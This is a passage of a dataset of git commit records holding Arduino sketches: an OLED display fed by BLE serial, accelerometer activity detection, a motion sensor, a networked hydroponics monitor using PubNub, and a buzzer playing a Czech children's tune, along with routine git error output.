\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/category\/63_98\n \nThis example is for a 128x64 size display using I2C to communicate\n3 pins are required to interface (2 I2C and one reset)\n \nAdafruit invests time and resources providing this open source code,\nplease support Adafruit and open-source hardware by purchasing\nproducts from Adafruit!\n \nWritten by Limor Fried\/Ladyada for Adafruit Industries.\nBSD license, check license.txt for more information\nAll text above, and the splash screen must be included in any redistribution\n*********************************************************************\/\n \n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n #include <SoftwareSerial.h>\n\n#define OLED_RESET 4\nAdafruit_SSD1306 display(OLED_RESET);\n \n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n \n \n#define LOGO16_GLCD_HEIGHT 16\n#define LOGO16_GLCD_WIDTH 16\n \n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n \n \n\/\/ Blueduino comunicate with BLE module through pin11, pin12 as soft serial.\nSoftwareSerial mySerial(11, 12); \/\/RX,TX\n \nint i = 0;\nString inputString = \"\"; \/\/ a string to hold incoming data\nboolean stringComplete = false; \/\/ whether the string is complete\n \n\/\/ pins for the LEDs:\nconst int greenPin = 4;\nconst int redPin = 5;\n \nvoid setup() {\n \/\/ initialize serial:\n mySerial.begin(9600);\n \n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n \/\/ init done\n \n \/\/ Show image buffer on the display hardware.\n \/\/ Since the buffer is intialized with an Adafruit splashscreen\n \/\/ internally, this will display the splashscreen.\n display.display();\n delay(1000);\n \n \/\/ Clear the buffer.\n display.clearDisplay();\n \n \/\/ reserve 200 bytes for the inputString:\n inputString.reserve(200);\n \n \/\/ text display tests\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"Awaiting input\");\n display.display();\n \n \/\/ initialize serial:\n mySerial.begin(9600);\n \/\/ make the pins outputs:\n pinMode(redPin, OUTPUT);\n pinMode(greenPin, OUTPUT);\n digitalWrite(redPin, HIGH);\n digitalWrite(greenPin, HIGH);\n delay(100);\n digitalWrite(redPin, LOW);\n digitalWrite(greenPin, LOW);\n}\n \nvoid loop() {\n \n if (stringComplete) {\n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(inputString);\n display.display();\n \/\/ clear the string:\n inputString = \"\";\n stringComplete = false;\n }\n \/\/ if there's any serial available, read it:\n while (mySerial.available()) {\n digitalWrite(greenPin, HIGH);\n char c = mySerial.read();\n inputString += c;\n if(c == 0) {\n digitalWrite(redPin, LOW);\n display.clearDisplay();\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(inputString);\n display.display();\n inputString = \"\";\n } else {\n digitalWrite(redPin, HIGH);\n }\n if (c == 1) {\n stringComplete = true;\n }\n }\n digitalWrite(greenPin, LOW);\n}\n \nvoid testdrawchar(void) {\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n \n for (uint8_t i=0; i < 168; i++) {\n if (i == '\\n') continue;\n display.write(i);\n if ((i > 0) && (i % 21 == 0))\n display.println();\n }\n display.display();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/seedSketch\/seedSketch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b92c088b09bbaef50e9a832778a5903c008f545c","subject":"Add an activity\/inactivity sketch","message":"Add an activity\/inactivity sketch\n","repos":"Matth26\/anyboardpawn,Matth26\/anyboardpawn,Matth26\/anyboardpawn,Matth26\/anyboardpawn","old_file":"acc_activity_detection\/acc_activity_detection.ino","new_file":"acc_activity_detection\/acc_activity_detection.ino","new_contents":"\/\/ Example code for tap detection using accelerometer ADXL345 and RFduino\n\/\/ Single and double tap are on the same interrupt pin\n\n#include <Wire.h>\n#include <WInterrupts.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_ADXL345_U.h>\n\n#define INTERRUPT_2_ACC_PIN 4 \/\/ Pin where the acceleromter interrupt1 is connected\n\n\/* Assign a unique ID to this sensor at the same time *\/\nAdafruit_ADXL345_Unified accel = Adafruit_ADXL345_Unified(12345);\n\nvolatile uint8_t actiIntSource = 0; \/\/ byte with interrupt informations\nvolatile boolean actiIntState = 0; \/\/ true when an interrupt occures\n\nvoid setup(void) \n{\n \/\/ Enable interrupts :\n interrupts();\n\n \/\/ GPIO 2 handles INT1 of the accelerometer :\n pinMode(INTERRUPT_2_ACC_PIN, INPUT);\n attachPinInterrupt(INTERRUPT_2_ACC_PIN, ActivityInterrupt, HIGH);\n \n Serial.begin(9600);\n Serial.println(\"Accelerometer Test\"); \n \n \/* Initialise the sensor *\/\n if(!accel.begin())\n {\n \/* There was a problem detecting the ADXL345 ... check your connections *\/\n Serial.println(\"Ooops, no ADXL345 detected ... Check your wiring!\");\n while(1);\n }\n\n \/* Set the range to whatever is appropriate for your project *\/\n accel.setRange(ADXL345_RANGE_2_G);\n\n \/\/ enable single and double tap interrupt + activity\/inactivity interrupts\n accel.writeRegister(ADXL345_REG_INT_ENABLE, 0b01111000);\n\n \/\/ map activity\/inactivity interrupts on int2\n accel.writeRegister(ADXL345_REG_INT_MAP, 0b00011000);\n\n accel.writeRegister(ADXL345_REG_THRESH_ACT, 0b00011111);\n accel.writeRegister(ADXL345_REG_THRESH_INACT, 0b00011111);\n accel.writeRegister(ADXL345_REG_TIME_INACT, 0b00000100);\n accel.writeRegister(ADXL345_REG_ACT_INACT_CTL, 0b11111111);\n \n \/\/read and clear interrupts\n accel.readRegister(ADXL345_REG_INT_SOURCE);\n}\n\n\/* Tap Interrupt Routine *\/\nint ActivityInterrupt(uint32_t ulPin)\n{\n actiIntState = 1;\n return 0;\n}\n\nvoid loop(void) \n{ \n \n actiIntSource = accel.readRegister(ADXL345_REG_INT_SOURCE); \/\/ read the interrupt source register to reset the interrupt\n Serial.println(actiIntSource, BIN);\n \n if (actiIntState)\n {\n if(bitRead(actiIntSource, 4)) \/\/ The 5th bit is set when double tap, the 6th is set when simple tap\n {\n Serial.println(\"Activity\");\n delay(500); \/\/ Need this to avoid the bug of detecting one tap after a double tap (the vibrate function includes it)\n }\n else\n {\n Serial.println(\"Inactivity\");\n delay(500);\n }\n \n actiIntState = 0; \/\/ reset the interrupt boolean\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'acc_activity_detection\/acc_activity_detection.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"c83990c5ccbd1aa3406be480b494597547448954","subject":"Add .ino","message":"Add .ino","repos":"lpaubielsa\/Let_me_in","old_file":"motionsensorcat.ino","new_file":"motionsensorcat.ino","new_contents":"\n\/\/ digital Pin\nint BewegungsPin = 3;\n\n\/\/ Variable Declaration\nchar BewegungsmelderState = 0;\n\n\nvoid setup() {\n \/\/ Input\n pinMode(BewegungsPin, INPUT);\n Serial.begin(9600);\n \n\n\n}\n\nvoid loop() {\n\n\/\/ Motion Sensor (Send)\n if (digitalRead(BewegungsPin) == LOW && BewegungsmelderState != 0)\n {\n \n BewegungsmelderState = 0;\n \n Serial.println(\"LOW\");\n }\n if (digitalRead(BewegungsPin) == HIGH && BewegungsmelderState != 1)\n {\n \n BewegungsmelderState = 1;\n \n Serial.println(\"HIGH\");\n \n \/\/iffft\n bool published = Particle.publish(\"Let me in!\", \"1\");\n if (published == false) {\n Serial.println(\"dgtf-MCP-button-click failed to publish\");\n }\n }\n \n \n\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'motionsensorcat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"3c81af6b75aa94462fb097ca1ae47d63291a9d27","subject":"initial commit. most things working but EC and pH data passed as string via PubNub","message":"initial commit. most things working but EC and pH data passed as string via PubNub\n","repos":"hydrobase\/iot","old_file":"master_v2.ino","new_file":"master_v2.ino","new_contents":"\n\/**********************************************************************************\n ***********************************************************************************\n * Start Temp-Humid Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n#include \"DHT.h\"\n#define DHTPIN 2 \/\/ what digital pin we're connected to\n#define DHTTYPE DHT11\nDHT dht(DHTPIN, DHTTYPE);\n\/***********************************************************************************\n ***********************************************************************************\n * End Temp-Humid Sensor Set-Up\n ***********************************************************************************\n ***********************************************************************************\/\n\n\/**********************************************************************************\n ***********************************************************************************\n * Start Ethernet+PubNub Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n#include <SPI.h>\n#include <Ethernet.h>\n#include <PubNub.h>\n#include <aJSON.h>\n\n\/\/ Some Ethernet shields have a MAC address printed on a sticker on the shield;\n\/\/ fill in that address here, or choose your own at random:\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\n\nchar pubkey[] = \"pub-c-5bef0e0e-e177-4a94-b06f-ce3c1355e5cd\";\nchar subkey[] = \"sub-c-3c8b80da-de67-11e5-abb9-0619f8945a4f\";\nchar channel[] = \"tester\";\n\naJsonObject *createMessage()\n{\n aJsonObject *msg = aJson.createObject();\n\n aJsonObject *sender = aJson.createObject();\n aJson.addStringToObject(sender, \"name\", \"Arduino--Mario\");\n aJson.addItemToObject(msg, \"sender\", sender);\n return msg;\n}\n\n\/* Process message like: { \"pwm\": { \"8\": 0, \"9\": 128 } } *\/\nvoid processActuatorInfo(aJsonObject *item)\n{\n aJsonObject *actuators = aJson.getObjectItem(item, \"actuators\");\n if (!actuators) {\n Serial.println(\"no pwm data\");\n return;\n }\n\n const static int pins[] = { 30, 31, 42, 43, 44, 45 };\n const static int pins_n = 6;\n for (int i = 0; i < pins_n; i++) {\n char pinstr[3];\n snprintf(pinstr, sizeof(pinstr), \"%d\", pins[i]);\n\n aJsonObject *actuatorsVal = aJson.getObjectItem(actuators, pinstr);\n if (!actuatorsVal) continue; \/* Value not provided, ok. *\/\n if (actuatorsVal->type != aJson_Int) {\n Serial.print(\" invalid data type \");\n Serial.print(actuatorsVal->type, DEC);\n Serial.print(\" for pin \");\n Serial.println(pins[i], DEC);\n continue;\n }\n\n Serial.print(\" setting pin \");\n Serial.print(pins[i], DEC);\n Serial.print(\" to value \");\n Serial.println(actuatorsVal->valueint, DEC);\n analogWrite(pins[i], actuatorsVal->valueint);\n }\n}\n\nvoid dumpMessage(Stream &s, aJsonObject *msg)\n{\n int msg_count = aJson.getArraySize(msg);\n for (int i = 0; i < msg_count; i++) {\n aJsonObject *item, *sender, *analog, *value;\n \/\/s.print(\"Msg #\");\n \/\/s.println(i, DEC);\n\n item = aJson.getArrayItem(msg, i);\n if (!item) { s.println(\"item not acquired\"); delay(1000); return; }\n\n processActuatorInfo(item);\n\n \/* Below, we parse and dump messages from fellow Arduinos. *\/\n\n sender = aJson.getObjectItem(item, \"sender\");\n if (!sender) { s.println(\"sender not acquired\"); delay(1000); return; }\n\n s.print(\" A2: \");\n analog = aJson.getObjectItem(item, \"analog\");\n if (!analog) { s.println(\"analog not acquired\"); delay(1000); return; }\n value = aJson.getArrayItem(analog, 2);\n if (!value) { s.println(\"analog[2] not acquired\"); delay(1000); return; }\n s.print(value->valueint, DEC);\n\n s.println();\n }\n}\n\n\/***********************************************************************************\n ***********************************************************************************\n * Actuator Pin Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\nint light1 = 30;\nint light2 = 31;\nint waterTrigger = 42;\nint nutrientDoser = 43;\nint phUP = 44;\nint phDOWN = 45;\n\n\/***********************************************************************************\n ***********************************************************************************\n * End Pin Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\n \n\n\/***********************************************************************************\n ***********************************************************************************\n * Lux Sensor Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n#include <Wire.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_TSL2561_U.h>\nAdafruit_TSL2561_Unified tsl = Adafruit_TSL2561_Unified(TSL2561_ADDR_FLOAT, 12345);\n\n\/*************************************************************************\n Configures the gain and integration time for the TSL2561\n*************************************************************************\/\nvoid configureSensor(void)\n{\n \/* You can also manually set the gain or enable auto-gain support *\/\n tsl.enableAutoRange(true); \/* Auto-gain ... switches automatically between 1x and 16x *\/\n \n \/* Changing the integration time gives you better sensor resolution (402ms = 16-bit data) *\/\n tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_13MS); \/* fast but low resolution *\/\n \/\/ tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_101MS); \/* medium resolution and speed *\/\n \/\/ tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_402MS); \/* 16-bit data but slowest conversions *\/\n\n \/* Update these values depending on what you've set above! \n Serial.println(\"------------------------------------\");\n Serial.print (\"Gain: \"); Serial.println(\"Auto\");\n Serial.print (\"Timing: \"); Serial.println(\"13 ms\");\n Serial.println(\"------------------------------------\");\n *\/\n}\n\n\/***********************************************************************************\n ***********************************************************************************\n * End Lux Sensor Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\n\n\/***********************************************************************************\n ***********************************************************************************\n * Tentacle Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\n#include <SoftwareSerial.h> \/\/Include the software serial library \n#include <Wire.h> \/\/enable I2C.\n\nSoftwareSerial sSerial(11, 10); \/\/ RX, TX - Name the software serial library sSerial (this cannot be omitted)\n \/\/ assigned to pins 10 and 11 for maximum compatibility\n\nconst int s0 = 7; \/\/Arduino pin 7 to control pin S0\nconst int s1 = 6; \/\/Arduino pin 6 to control pin S1\nconst int enable_1 = 5; \/\/Arduino pin 5 to control pin E on shield 1\nconst int enable_2 = 4; \/\/Arduino pin 4 to control pin E on shield 2\n\nchar sensordata[30]; \/\/A 30 byte character array to hold incoming data from the sensors\nbyte computer_bytes_received = 0; \/\/We need to know how many characters bytes have been received\nbyte sensor_bytes_received = 0; \/\/We need to know how many characters bytes have been received\nint tenticleChannel; \/\/INT pointer for channel switching - 0-7 serial, 8-127 I2C addresses\nchar *cmd; \/\/Char pointer used in string parsing\nint retries; \/\/ com-check functions store number of retries here\nboolean answerReceived; \/\/ com-functions store here if a connection-attempt was successful\nbyte error; \/\/ error-byte to store result of Wire.transmissionEnd()\n\nString stamp_type; \/\/ hold the name \/ type of the stamp\nchar stamp_version[4]; \/\/ hold the version of the stamp\n\nchar computerdata[20]; \/\/we make a 20 byte character array to hold incoming data from a pc\/mac\/other.\n\nbyte i2c_response_code = 0; \/\/used to hold the I2C response code.\nbyte in_char = 0; \/\/used as a 1 byte buffer to store in bound bytes from an I2C stamp.\n\n\/***********************************************************************************\n ***********************************************************************************\n * Tentacle Sensor Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n Serial.println(\"Serial set up\");\n\n pinMode(s1, OUTPUT); \/\/Set the digital pin as output.\n pinMode(s0, OUTPUT); \/\/Set the digital pin as output.\n pinMode(enable_1, OUTPUT); \/\/Set the digital pin as output.\n pinMode(enable_2, OUTPUT); \/\/Set the digital pin as output.\n sSerial.begin(38400); \/\/ Set the soft serial port to 38400\n Wire.begin(); \/\/ enable I2C port.\n \n\n while (!Ethernet.begin(mac)) {\n Serial.println(\"Ethernet setup error\");\n delay(1000);\n }\n Serial.println(\"Ethernet set up\");\n\n PubNub.begin(pubkey, subkey);\n Serial.println(\"PubNub set up\");\n\n \/******** Initialise the Lux Sensor ********\/\n if(!tsl.begin())\n {\n \/* There was a problem detecting the ADXL345 ... check your connections *\/\n Serial.print(\"Ooops, no TSL2561 detected ... Check your wiring or I2C ADDR!\");\n while(1);\n }\n\n configureSensor();\n \/******** End Lux initialization ********\/\n\n \/******** Temp-Humid Sensor ********\/\n dht.begin();\n \/******** End Temp-Humid init ********\/\n pinMode(light1, OUTPUT);\n pinMode(light2, OUTPUT);\n pinMode(waterTrigger, OUTPUT);\n digitalWrite(light1, HIGH);\n digitalWrite(light2, HIGH);\n}\n\n\/**********************************************************************************\n ***********************************************************************************\n * End Ethernet+PubNub Set-Up\n ***********************************************************************************\n **********************************************************************************\/\n\n\nvoid loop() {\n int lux = 0;\n \/********** Lux Sensor Start **********\/\n \/* Get a new sensor event *\/ \n sensors_event_t event;\n tsl.getEvent(&event);\n \n \/* Display the results (light is measured in lux) *\/\n if (event.light)\n {\n lux = event.light;\n }\n else\n {\n \/* If event.light = 0 lux the sensor is probably saturated\n and no reliable data could be generated! *\/\n Serial.println(\"Sensor overload\");\n }\n \/********** End Lux Sensor **********\/\n \/********** Start Temp-Humid Sensor **********\/\n int h = dht.readHumidity();\n int f = dht.readTemperature(true);\n\n \/\/Validate Temp-Humid Readings\n if (isnan(h) || isnan(f)) {\n Serial.println(\"Failed to read from DHT sensor!\");\n return;\n }\n \n \/********** End Temp-Humid Sensor **********\/\n\n Ethernet.maintain();\n\n EthernetClient *client;\n\n \/* Publish *\/\n\n Serial.print(\"publishing a message: \");\n aJsonObject *msg = createMessage();\n\n \/*Add to message aJsonObject *\/\n aJsonObject *luxData = aJson.createItem(lux);\n aJson.addItemToObject(msg, \"lux\", luxData);\n aJsonObject *humidityData = aJson.createItem(h);\n aJson.addItemToObject(msg, \"humidity\", humidityData);\n aJsonObject *tempData = aJson.createItem(f);\n aJson.addItemToObject(msg, \"temp\", tempData);\n\n tenticleChannel = 99;\n cmd = \"r\";\n I2C_call(); \/\/ send i2c command and wait for answer\n if (sensor_bytes_received > 0) {\n Serial.print(\"Current pH: \");\n Serial.println(sensordata); \/\/print the data.\n aJsonObject *phData = aJson.createItem(sensordata);\n aJson.addItemToObject(msg, \"pH\", phData);\n }\n\n tenticleChannel = 100;\n cmd = \"r\";\n I2C_call(); \/\/ send i2c command and wait for answer\n if (sensor_bytes_received > 0) {\n Serial.print(\"Current pH: \");\n Serial.println(sensordata); \/\/print the data.\n aJsonObject *ecData = aJson.createItem(sensordata);\n aJson.addItemToObject(msg, \"EC\", ecData);\n }\n \n\n \n char *msgStr = aJson.print(msg);\n aJson.deleteItem(msg);\n\n \/\/ msgStr is returned in a buffer that can be potentially\n \/\/ needlessly large; this call will \"tighten\" it\n msgStr = (char *) realloc(msgStr, strlen(msgStr) + 1);\n\n Serial.println(msgStr);\n client = PubNub.publish(channel, msgStr);\n free(msgStr);\n if (!client) {\n Serial.println(\"publishing error\");\n delay(1000);\n return;\n }\n client->stop();\n\n \/* Subscribe and load reply *\/\n\n Serial.println(\"waiting for a message (subscribe)\");\n client = PubNub.subscribe(channel);\n if (!client) {\n Serial.println(\"subscription error\");\n delay(1000);\n return;\n }\n\n \/* Parse *\/\n\n aJsonClientStream stream(client);\n msg = aJson.parse(&stream);\n client->stop();\n if (!msg) { Serial.println(\"parse error\"); delay(1000); return; }\n dumpMessage(Serial, msg);\n aJson.deleteItem(msg);\n\n delay(50);\n}\n\n\n\/*tentacle shield stuffems*\/\n\nbyte I2C_call() { \/\/function to parse and call I2C commands.\n sensor_bytes_received = 0; \/\/ reset data counter\n memset(sensordata, 0, sizeof(sensordata)); \/\/ clear sensordata array;\n\n Wire.beginTransmission(tenticleChannel); \/\/call the circuit by its ID number.\n Wire.write(cmd); \/\/transmit the command that was sent through the serial port.\n Wire.endTransmission(); \/\/end the I2C data transmission.\n\n i2c_response_code = 254;\n while (i2c_response_code == 254) { \/\/ in case the cammand takes longer to process, we keep looping here until we get a success or an error\n\n if (String(cmd).startsWith(F(\"cal\")) || String(cmd).startsWith(F(\"Cal\")) ) {\n delay(1400); \/\/ cal-commands take 1300ms or more\n } else if (String(cmd) == F(\"r\") || String(cmd) == F(\"R\")) {\n delay(1000); \/\/ reading command takes about a second\n }\n else {\n delay(300); \/\/ all other commands: wait 300ms\n }\n\n Wire.requestFrom(tenticleChannel, 48, 1); \/\/call the circuit and request 48 bytes (this is more then we need).\n i2c_response_code = Wire.read(); \/\/the first byte is the response code, we read this separately.\n\n while (Wire.available()) { \/\/are there bytes to receive.\n in_char = Wire.read(); \/\/receive a byte.\n\n if (in_char == 0) { \/\/if we see that we have been sent a null command.\n Wire.endTransmission(); \/\/end the I2C data transmission.\n break; \/\/exit the while loop.\n }\n else {\n sensordata[sensor_bytes_received] = in_char; \/\/load this byte into our array.\n sensor_bytes_received++;\n }\n }\n\n switch (i2c_response_code) { \/\/switch case based on what the response code is.\n case 1: \/\/decimal 1.\n Serial.println( F(\"< success\")); \/\/means the command was successful.\n break; \/\/exits the switch case.\n\n case 2: \/\/decimal 2.\n Serial.println( F(\"< command failed\")); \/\/means the command has failed.\n break; \/\/exits the switch case.\n\n case 254: \/\/decimal 254.\n Serial.println( F(\"< command pending\")); \/\/means the command has not yet been finished calculating.\n break; \/\/exits the switch case.\n\n case 255: \/\/decimal 255.\n Serial.println( F(\"No Data\")); \/\/means there is no further data to send.\n break; \/\/exits the switch case.\n }\n }\n}\n\nboolean check_i2c_connection() { \/\/ check selected i2c channel\/address. verify that it's working by requesting info about the stamp\n\n retries = 0;\n\n while (retries < 3) {\n retries++;\n Wire.beginTransmission(tenticleChannel); \/\/ just do a short connection attempt without command to scan i2c for devices\n error = Wire.endTransmission();\n\n if (error == 0) \/\/ if error is 0, there's a device\n {\n\n int r_retries = 0;\n while (r_retries < 3) {\n cmd = \"i\"; \/\/ set cmd to request info (in I2C_call())\n I2C_call();\n\n if (parseInfo()) {\n return true;\n }\n }\n return false;\n }\n else\n {\n return false; \/\/ no device at this address\n }\n }\n\n}\n\n\n\nboolean parseInfo() { \/\/ parses the answer to a \"i\" command. returns true if answer was parseable, false if not.\n\n \/\/ example:\n \/\/ PH EZO -> '?I,pH,1.1'\n \/\/ ORP EZO -> '?I,OR,1.0' (-> wrong in documentation 'OR' instead of 'ORP')\n \/\/ DO EZO -> '?I,D.O.,1.0' || '?I,DO,1.7' (-> exists in D.O. and DO form)\n \/\/ EC EZO -> '?I,EC,1.0 '\n\n \/\/ Legazy PH -> 'P,V5.0,5\/13'\n \/\/ Legazy ORP -> 'O,V4.4,2\/13'\n \/\/ Legazy DO -> 'D,V5.0,1\/13'\n \/\/ Legazy EC -> 'E,V3.1,5\/13'\n\n if (sensordata[0] == '?' && sensordata[1] == 'I') { \/\/ seems to be an EZO stamp\n\n \/\/ PH EZO\n if (sensordata[3] == 'p' && sensordata[4] == 'H') {\n stamp_type = F(\"pH EZO\");\n stamp_version[0] = sensordata[6];\n stamp_version[1] = sensordata[7];\n stamp_version[2] = sensordata[8];\n stamp_version[3] = 0;\n\n return true;\n\n \/\/ ORP EZO\n }\n else if (sensordata[3] == 'O' && sensordata[4] == 'R') {\n stamp_type = F(\"ORP EZO\");\n stamp_version[0] = sensordata[6];\n stamp_version[1] = sensordata[7];\n stamp_version[2] = sensordata[8];\n stamp_version[3] = 0;\n return true;\n\n \/\/ DO EZO\n }\n else if (sensordata[3] == 'D' && sensordata[4] == 'O') {\n stamp_type = F(\"D.O. EZO\");\n stamp_version[0] = sensordata[6];\n stamp_version[1] = sensordata[7];\n stamp_version[2] = sensordata[8];\n stamp_version[3] = 0;\n return true;\n\n \/\/ D.O. EZO\n }\n else if (sensordata[3] == 'D' && sensordata[4] == '.' && sensordata[5] == 'O' && sensordata[6] == '.') {\n stamp_type = F(\"D.O. EZO\");\n stamp_version[0] = sensordata[8];\n stamp_version[1] = sensordata[9];\n stamp_version[2] = sensordata[10];\n stamp_version[3] = 0;\n return true;\n\n \/\/ EC EZO\n }\n else if (sensordata[3] == 'E' && sensordata[4] == 'C') {\n stamp_type = F(\"EC EZO\");\n stamp_version[0] = sensordata[6];\n stamp_version[1] = sensordata[7];\n stamp_version[2] = sensordata[8];\n stamp_version[3] = 0;\n return true;\n\n \/\/ unknown EZO stamp\n }\n else {\n stamp_type = F(\"unknown EZO stamp\");\n return true;\n }\n\n }\n\n \/\/ it's a legacy stamp (non-EZO)\n else\n {\n \/\/ Legacy pH\n if ( sensordata[0] == 'P') {\n stamp_type = F(\"pH (legacy)\");\n stamp_version[0] = sensordata[3];\n stamp_version[1] = sensordata[4];\n stamp_version[2] = sensordata[5];\n stamp_version[3] = 0;\n return true;\n\n \/\/ legacy ORP\n }\n else if ( sensordata[0] == 'O') {\n stamp_type = F(\"ORP (legacy)\");\n stamp_version[0] = sensordata[3];\n stamp_version[1] = sensordata[4];\n stamp_version[2] = sensordata[5];\n stamp_version[3] = 0;\n return true;\n\n \/\/ Legacy D.O.\n }\n else if ( sensordata[0] == 'D') {\n stamp_type = F(\"D.O. (legacy)\");\n stamp_version[0] = sensordata[3];\n stamp_version[1] = sensordata[4];\n stamp_version[2] = sensordata[5];\n stamp_version[3] = 0;\n return true;\n\n \/\/ Lecagy EC\n }\n else if ( sensordata[0] == 'E') {\n stamp_type = F(\"EC (legacy)\");\n stamp_version[0] = sensordata[3];\n stamp_version[1] = sensordata[4];\n stamp_version[2] = sensordata[5];\n stamp_version[3] = 0;\n return true;\n }\n }\n\n \/*\n Serial.println(\"can not parse data: \");\n Serial.print(\"'\");\n Serial.print(sensordata);\n Serial.println(\"'\");\n *\/\n return false; \/\/ can not parse this info-string\n}\n\n\n\nvoid clearIncomingBuffer() { \/\/ \"clears\" the incoming soft-serial buffer\n while (sSerial.available() ) {\n \/\/Serial.print((char)sSerial.read());\n sSerial.read();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'master_v2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc7dfdd2f9b7c0415e203ed5da9c191607f784cc","subject":"Asservissement : mise jour commande, correction de l'erreur precedente","message":"Asservissement : mise jour commande, correction de l'erreur precedente\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_file":"Module Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Moteur\/Software\/Asservissement\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5\/Asservissement_vitesse_2.5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"898fe15530443f6b4da75a3e1c9f7a8da217bb18","subject":"Reverted timers to uint32_t variables","message":"Reverted timers to uint32_t variables\n","repos":"fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs,fbatta\/wbox-nodejs","old_file":"4zones\/wbox-2.0.ino","new_file":"4zones\/wbox-2.0.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/fbatta\/wbox-nodejs.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"baafe5da0607a550cd0c1173887bc46d28db727d","subject":"Kocka leze dirou - Beeper","message":"Kocka leze dirou - Beeper\n","repos":"bechynsky\/ArduinoWorkshop,bechynsky\/ArduinoWorkshop","old_file":"Beeper\/Beeper.ino","new_file":"Beeper\/Beeper.ino","new_contents":"#define BUZZER 6\n#define LED 2\n\nint tune = 100;\nint volume = 20;\nlong vosec = 0;\nint ledx = 0;\nlong toneLength = 300000;\n\n\/*\n * \n___________________________________________________ \n| | | | | | | | | | | | | | | | | | \n| | | | | | | | | | | | | | | | | | \n| | | | | | | | | | | | | | | | | | \n| |_| |_| | |_| |_| |_| | |_| |_| | \n| | | | | | | | | | | \n| | | | | | | | | | | \n|____|____|____|____|____|____|____|____|____|____| \n\n 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15\n * \n *\/\n\n\nint tunes[] = {1, 3, 5, 6, 8, 0, 8, 0, \/\/kocka leze dirou\n 10, 0, 10, 0, 8, 8, 8, 8, \/\/pes oknem\n 10, 0, 10, 0, 8, 8, 8, 8, \/\/pes oknem\n 6, 0, 6, 0, 5, 0, 5, 0, \/\/ nebude-li prset\n 3, 0, 3, 0, 8, 8, 8, 8, \/\/nezmokneeem\n 6, 0, 6, 0, 5, 0, 5, 0, \/\/ nebude-li prset\n 3, 0, 3, 0, 1, 1, 0, 0, \/\/nezmoknem\n -1};\n\nint tones[] = { 0,\n\/\/ C C# D D# E F F# G G# A A# H\n\/\/ 1 2 3 4 5 6 7 8 9 10 11 12\n 2834, 2675, 2525, 2383, 2249, 2123, 2004, 1891, 1785, 1685, 1590, 1501, \n 1417, 1337, 1262, 1191, 1124, 1061, 1002, 945, 892, 842, 795, 750\n};\n\n\nint pos = 0;\nvoid setup() {\n pinMode(BUZZER, OUTPUT);\n pinMode(LED, OUTPUT);\n tune = tones[tunes[pos++]];\n digitalWrite(LED, HIGH);\n ledx = 1;\n}\n\nvoid loop() {\n if (tune>0) {\n digitalWrite(BUZZER, HIGH); \/\/ P\u0159it\u00e1hneme membr\u00e1nu reproduktoru\n delayMicroseconds(volume); \/\/ po\u010dk\u00e1me\n digitalWrite(BUZZER, LOW); \/\/ pust\u00edme membr\u00e1nu\n delayMicroseconds(tune-volume); \/\/ zase po\u010dk\u00e1me\n vosec+=tune+volume;\n } else {\n delayMicroseconds(2000); \n vosec+=2000;\n }\n\n if (vosec>=toneLength) {\n vosec-=toneLength;\n\n if (tunes[pos]==-1) {\n pos = 0;\n }\n tune = tones[tunes[pos++]];\n\n \/\/ svetelny 